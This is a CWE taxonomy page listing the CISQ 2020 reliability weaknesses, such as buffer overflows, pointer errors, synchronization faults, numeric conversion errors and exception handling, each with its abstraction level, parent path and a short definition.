CWE VIEW: CISQ Quality Measures (2020)
This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2020. These measures are derived from Object Management Group (OMG) standards.
The following graph shows the tree-like relationships between
weaknesses that exist at different levels of abstraction. At the highest level, categories
and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are
special CWE entries used to group weaknesses that share a common characteristic. Pillars are
weaknesses that are described in the most abstract fashion. Below these top-level entries
are weaknesses are varying levels of abstraction. Classes are still very abstract, typically
independent of any specific language or technology. Base level weaknesses are used to
present a more specific type of weakness. A variant is a weakness that is described at a
very low level of detail, typically limited to a specific language or technology. A chain is
a set of weaknesses that must be reachable consecutively in order to produce an exploitable
vulnerability. While a composite is a set of weaknesses that must all be present
simultaneously in order to produce an exploitable vulnerability.
Show Details:
1305 - CISQ Quality Measures (2020)
Category - a CWE entry that contains a set of other entries that share a common characteristic.
CISQ Quality Measures - Reliability
- (1306)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability)
Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Restriction of Operations within the Bounds of a Memory Buffer
- (119)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer)
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Buffer Overflow
buffer overrun
memory safety
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
- (120)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
120
(Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
Classic Buffer Overflow
Unbounded Transfer
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Write-what-where Condition
- (123)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
123
(Write-what-where Condition)
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Out-of-bounds Read
- (125)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
125
(Out-of-bounds Read)
The product reads data past the end, or before the beginning, of the intended buffer.
OOB read
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Handling of Length Parameter Inconsistency
- (130)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
130
(Improper Handling of Length Parameter Inconsistency)
The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
length manipulation
length tampering
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Access of Memory Location Before Start of Buffer
- (786)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
786
(Access of Memory Location Before Start of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Out-of-bounds Write
- (787)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write)
The product writes data past the end, or before the beginning, of the intended buffer.
Memory Corruption
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Access of Memory Location After End of Buffer
- (788)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
788
(Access of Memory Location After End of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Buffer Access with Incorrect Length Value
- (805)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
805
(Buffer Access with Incorrect Length Value)
The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Untrusted Pointer Dereference
- (822)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
822
(Untrusted Pointer Dereference)
The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Out-of-range Pointer Offset
- (823)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
823
(Use of Out-of-range Pointer Offset)
The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.
Untrusted pointer offset
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Access of Uninitialized Pointer
- (824)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
824
(Access of Uninitialized Pointer)
The product accesses or uses a pointer that has not been initialized.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Expired Pointer Dereference
- (825)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
825
(Expired Pointer Dereference)
The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
Dangling pointer
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Null Termination
- (170)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
170
(Improper Null Termination)
The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unchecked Return Value
- (252)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
252
(Unchecked Return Value)
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Detection of Error Condition Without Action
- (390)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
390
(Detection of Error Condition Without Action)
The product detects a specific error, but takes no actions to handle the error.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unexpected Status Code or Return Value
- (394)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
394
(Unexpected Status Code or Return Value)
The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Resource Shutdown or Release
- (404)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release)
The product does not release or incorrectly releases a resource before it is made available for re-use.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of Memory after Effective Lifetime
- (401)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release) >
401
(Missing Release of Memory after Effective Lifetime)
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.
Memory Leak
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of Resource after Effective Lifetime
- (772)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release) >
772
(Missing Release of Resource after Effective Lifetime)
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of File Descriptor or Handle after Effective Lifetime
- (775)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release) >
775
(Missing Release of File Descriptor or Handle after Effective Lifetime)
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Protection of Alternate Path
- (424)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
424
(Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incomplete Cleanup
- (459)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
459
(Incomplete Cleanup)
The product does not properly "clean up" and remove temporary or supporting resources after they have been used.
Insufficient Cleanup
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
NULL Pointer Dereference
- (476)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
476
(NULL Pointer Dereference)
The product dereferences a pointer that it expects to be valid but is NULL.
NPD
null deref
NPE
nil pointer dereference
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Incorrect Operator
- (480)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
480
(Use of Incorrect Operator)
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Omitted Break Statement in Switch
- (484)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
484
(Omitted Break Statement in Switch)
The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Return of Stack Variable Address
- (562)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
562
(Return of Stack Variable Address)
A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Comparison of Object References Instead of Object Contents
- (595)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
595
(Comparison of Object References Instead of Object Contents)
The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Persistent Storable Data Element without Associated Comparison Control Element
- (1097)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
595
(Comparison of Object References Instead of Object Contents) >
1097
(Persistent Storable Data Element without Associated Comparison Control Element)
The product uses a storable data element that does not have
all of the associated functions or methods that are necessary to support
comparison.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use of Wrong Operator in String Comparison
- (597)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
595
(Comparison of Object References Instead of Object Contents) >
597
(Use of Wrong Operator in String Comparison)
The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Synchronization
- (662)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization)
The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
- (1058)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
1058
(Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element)
The code contains a function or method that
operates in a multi-threaded environment but owns an unsafe non-final
static storable or member data element.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Singleton Class Instance Creation without Proper Locking or Synchronization
- (1096)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
1096
(Singleton Class Instance Creation without Proper Locking or Synchronization)
The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Race Condition within a Thread
- (366)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
366
(Race Condition within a Thread)
If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use of Singleton Pattern Without Synchronization in a Multithreaded Context
- (543)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
543
(Use of Singleton Pattern Without Synchronization in a Multithreaded Context)
The product uses the singleton pattern when creating a resource within a multithreaded environment.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unsynchronized Access to Shared Data in a Multithreaded Context
- (567)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
567
(Unsynchronized Access to Shared Data in a Multithreaded Context)
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Locking
- (667)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
667
(Improper Locking)
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Multiple Locks of a Critical Resource
- (764)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
764
(Multiple Locks of a Critical Resource)
The product locks a critical resource more times than intended, leading to an unexpected state in the system.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Synchronization
- (820)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
820
(Missing Synchronization)
The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incorrect Synchronization
- (821)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
821
(Incorrect Synchronization)
The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Deadlock
- (833)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
833
(Deadlock)
The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Initialization
- (665)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
665
(Improper Initialization)
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Initialization of a Variable
- (456)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
665
(Improper Initialization) >
456
(Missing Initialization of a Variable)
The product does not initialize critical variables, which causes the execution environment to use unexpected values.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use of Uninitialized Variable
- (457)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
665
(Improper Initialization) >
457
(Use of Uninitialized Variable)
The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Operation on a Resource after Expiration or Release
- (672)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
672
(Operation on a Resource after Expiration or Release)
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Double Free
- (415)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
672
(Operation on a Resource after Expiration or Release) >
415
(Double Free)
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
Double-free
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use After Free
- (416)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
672
(Operation on a Resource after Expiration or Release) >
416
(Use After Free)
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
Dangling pointer
UAF
Use-After-Free
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incorrect Conversion between Numeric Types
- (681)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types)
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Unexpected Sign Extension
- (194)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
194
(Unexpected Sign Extension)
The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Signed to Unsigned Conversion Error
- (195)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
195
(Signed to Unsigned Conversion Error)
The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Unsigned to Signed Conversion Error
- (196)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
196
(Unsigned to Signed Conversion Error)
The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Numeric Truncation Error
- (197)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
197
(Numeric Truncation Error)
Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
Incorrect Calculation
- (682)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
682
(Incorrect Calculation)
The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incorrect Calculation of Buffer Size
- (131)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
682
(Incorrect Calculation) >
131
(Incorrect Calculation of Buffer Size)
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Divide By Zero
- (369)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
682
(Incorrect Calculation) >
369
(Divide By Zero)
The product divides a value by zero.
Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
Improper Check or Handling of Exceptional Conditions
- (703)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions)
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Uncaught Exception
- (248)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions) >
248
(Uncaught Exception)
An exception is thrown from a function, but it is not caught.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unchecked Error Condition
- (391)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions) >
391
(Unchecked Error Condition)
[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Report of Error Condition
- (392)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions) >
392
(Missing Report of Error Condition)
The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Incorrect Type Conversion or Cast
- (704)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
704
(Incorrect Type Conversion or Cast)
The product does not correctly convert an object, resource, or structure from one type to a different type.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
- (758)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
758
(Reliance on Undefined, Unspecified, or Implementation-Defined Behavior)
